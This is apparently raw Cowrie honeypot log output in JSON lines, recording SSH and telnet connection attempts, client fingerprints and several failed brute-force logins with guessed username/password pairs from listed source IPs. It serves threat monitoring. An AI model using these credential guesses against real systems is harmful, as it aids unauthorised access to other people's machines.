{"eventid":"cowrie.login.failed","username":"root","password":"moonbeam","message":"login attempt [root/moonbeam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:35:59.166859Z","src_ip":"193.32.162.145","session":"55944a12c655","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:35:59.297530Z","src_ip":"181.0.214.136","session":"8768835445ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"steak123","message":"login attempt [root/steak123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:35:59.998169Z","src_ip":"181.0.214.136","session":"8768835445ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.200.156","src_port":51976,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6f9da003d59","protocol":"ssh","message":"New connection: 49.51.200.156:51976 (10.17.0.5:22) [session: b6f9da003d59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:36:00.117681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:36:00.126316Z","src_ip":"49.51.200.156","session":"b6f9da003d59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:36:00.300906Z","src_ip":"49.51.200.156","session":"b6f9da003d59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:36:00.407759Z","src_ip":"193.32.162.145","session":"55944a12c655","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:36:01.172237Z","src_ip":"181.0.214.136","session":"8768835445ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"boom","password":"123456","message":"login attempt [boom/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:36:01.523880Z","src_ip":"49.51.200.156","session":"b6f9da003d59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.234.173","src_port":52488,"dst_ip":"10.17.0.5","dst_port":22,"session":"1dbdc0283997","protocol":"ssh","message":"New connection: 185.242.234.173:52488 (10.17.0.5:22) [session: 1dbdc0283997]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:36:01.711178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:36:01.716676Z","src_ip":"185.242.234.173","session":"1dbdc0283997","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:36:02.701467Z","src_ip":"49.51.200.156","session":"b6f9da003d59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:36:02.796109Z","src_ip":"185.242.234.173","session":"1dbdc0283997","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.117.179.232","src_port":46616,"dst_ip":"10.17.0.5","dst_port":22,"session":"83fd6956a3de","protocol":"ssh","message":"New connection: 45.117.179.232:46616 (10.17.0.5:22) [session: 83fd6956a3de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:36:03.123389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:36:03.130902Z","src_ip":"45.117.179.232","session":"83fd6956a3de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Za123456","message":"login attempt [root/Za123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:36:03.484699Z","src_ip":"185.242.234.173","session":"1dbdc0283997","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:36:03.493150Z","src_ip":"45.117.179.232","session":"83fd6956a3de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:36:04.693357Z","src_ip":"185.242.234.173","session":"1dbdc0283997","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a12345678.","message":"login attempt [root/a12345678.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:36:05.911290Z","src_ip":"45.117.179.232","session":"83fd6956a3de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:36:07.278477Z","src_ip":"45.117.179.232","session":"83fd6956a3de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.85.27","src_port":38464,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3eb7104a51c","protocol":"ssh","message":"New connection: 43.153.85.27:38464 (10.17.0.5:22) [session: d3eb7104a51c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:36:07.751470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:36:07.756426Z","src_ip":"43.153.85.27","session":"d3eb7104a51c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:36:07.932248Z","src_ip":"43.153.85.27","session":"d3eb7104a51c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00207781791687,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:36:07.978370Z","src_ip":"152.42.224.71","session":"6d03e47228b3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"boom","password":"123456","message":"login attempt [boom/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:36:09.131100Z","src_ip":"43.153.85.27","session":"d3eb7104a51c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:36:10.306973Z","src_ip":"43.153.85.27","session":"d3eb7104a51c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":85.20948839187622,"message":"Connection lost after 85 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:36:18.652578Z","src_ip":"152.42.224.71","session":"4553e1ad5c4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46182,"dst_ip":"10.17.0.5","dst_port":23,"session":"456b1df22d5e","protocol":"telnet","message":"New connection: 152.42.224.71:46182 (10.17.0.5:23) [session: 456b1df22d5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:36:26.786732Z"}
{"eventid":"cowrie.session.connect","src_ip":"201.216.147.244","src_port":42930,"dst_ip":"159.203.135.109","dst_port":23,"session":"c96a5e6e8f0c","protocol":"telnet","message":"New connection: 201.216.147.244:42930 (159.203.135.109:23) [session: c96a5e6e8f0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:36:30.823490Z"}
{"eventid":"cowrie.session.closed","duration":12.445005416870117,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:36:43.268352Z","src_ip":"201.216.147.244","session":"c96a5e6e8f0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":23226,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e7da3a58cc5","protocol":"ssh","message":"New connection: 213.209.159.56:23226 (159.203.135.109:22) [session: 5e7da3a58cc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:37:04.360653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:37:04.366359Z","src_ip":"213.209.159.56","session":"5e7da3a58cc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:37:04.449471Z","src_ip":"213.209.159.56","session":"5e7da3a58cc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dorien","password":"dorien","message":"login attempt [dorien/dorien] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:37:04.851842Z","src_ip":"213.209.159.56","session":"5e7da3a58cc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dorien","password":"dorien1","message":"login attempt [dorien/dorien1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:37:05.939208Z","src_ip":"213.209.159.56","session":"5e7da3a58cc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dorien","password":"dorien123","message":"login attempt [dorien/dorien123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:37:07.032007Z","src_ip":"213.209.159.56","session":"5e7da3a58cc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dorien","password":"dorien1234","message":"login attempt [dorien/dorien1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:37:08.117305Z","src_ip":"213.209.159.56","session":"5e7da3a58cc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dorien","password":"dorien12345","message":"login attempt [dorien/dorien12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:37:09.202924Z","src_ip":"213.209.159.56","session":"5e7da3a58cc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:37:10.288418Z","src_ip":"213.209.159.56","session":"5e7da3a58cc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.200.156","src_port":44714,"dst_ip":"10.17.0.5","dst_port":22,"session":"33bc8259afe4","protocol":"ssh","message":"New connection: 49.51.200.156:44714 (10.17.0.5:22) [session: 33bc8259afe4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:37:12.041325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:37:12.047004Z","src_ip":"49.51.200.156","session":"33bc8259afe4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:37:12.115864Z","src_ip":"49.51.200.156","session":"33bc8259afe4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123@","message":"login attempt [root/Admin@123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:37:12.420398Z","src_ip":"49.51.200.156","session":"33bc8259afe4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:37:13.492023Z","src_ip":"49.51.200.156","session":"33bc8259afe4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.234.173","src_port":35714,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee5307406444","protocol":"ssh","message":"New connection: 185.242.234.173:35714 (10.17.0.5:22) [session: ee5307406444]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:37:14.993678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:37:15.004938Z","src_ip":"185.242.234.173","session":"ee5307406444","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:37:16.115977Z","src_ip":"185.242.234.173","session":"ee5307406444","protocol":"ssh"}
